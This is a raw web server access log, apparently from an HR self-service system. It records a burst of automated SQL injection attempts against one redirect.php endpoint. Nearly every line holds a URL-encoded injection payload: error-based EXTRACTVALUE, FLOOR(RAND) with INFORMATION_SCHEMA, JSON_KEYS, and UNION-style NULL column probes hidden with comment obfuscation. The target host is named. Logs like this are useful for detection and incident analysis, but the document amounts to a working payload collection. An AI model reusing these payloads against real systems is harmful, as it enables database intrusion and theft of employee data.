100.64.0.1 - - [07/Sep/2025:02:22:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x46565630%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x35743145%29%29%2C1%29%23%2F%2A%2A%2FC1CV HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x30395241%2C%28NULL%29%2C0x57525857%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FaNir%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x30395241%2C%28NULL%29%2C0x57525857%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FaNir%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6d713164%2C%28NULL%29%2C0x59634e4d%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FKsDc%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6d713164%2C%28NULL%29%2C0x59634e4d%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FKsDc%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x434d4463%2C%28NULL%29%2C0x44333141%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fogy0%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x434d4463%2C%28NULL%29%2C0x44333141%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fogy0%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x78704f6b%2C%28NULL%29%2C0x596f3478%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fbmre%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x78704f6b%2C%28NULL%29%2C0x596f3478%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fbmre%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4d354174%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3731756a%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23%2F%2A%2A%2FOKRz HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4d354174%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3731756a%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23%2F%2A%2A%2FOKRz HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6d567368%2C%28NULL%29%2C0x55594e68%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F5CJe%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6d567368%2C%28NULL%29%2C0x55594e68%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F5CJe%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x64457a38%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x52324b43%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23%2F%2A%2A%2F3fyL HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x64457a38%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x52324b43%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23%2F%2A%2A%2F3fyL HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x68585878%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39666f48%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23%2F%2A%2A%2FT2pp HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x68585878%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39666f48%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23%2F%2A%2A%2FT2pp HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x43317543%2C%28NULL%29%2C0x65766d39%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FR4rS%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x43317543%2C%28NULL%29%2C0x65766d39%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FR4rS%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x505a5446%2C%28NULL%29%2C0x59344753%29%29%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FPlOY%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x505a5446%2C%28NULL%29%2C0x59344753%29%29%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FPlOY%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x726d6759%2C%28NULL%29%2C0x4a505146%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6d713164%2C%28NULL%29%2C0x59634e4d%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FKsDc%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6d567368%2C%28NULL%29%2C0x55594e68%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F5CJe%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x34335849%2C%28NULL%29%2C0x53625232%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FdYIY%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x434d4463%2C%28NULL%29%2C0x44333141%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fogy0%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x67636941%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x41735761%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FFEW0%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x67636941%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x41735761%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FFEW0%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x35514e74%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b706755%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F54ip%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x35514e74%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b706755%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F54ip%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x43506e52%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x49783862%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FZuas%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x43506e52%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x49783862%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FZuas%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x36304d34%2C%28NULL%29%2C0x3144304b%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FylgF%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x36304d34%2C%28NULL%29%2C0x3144304b%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FylgF%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
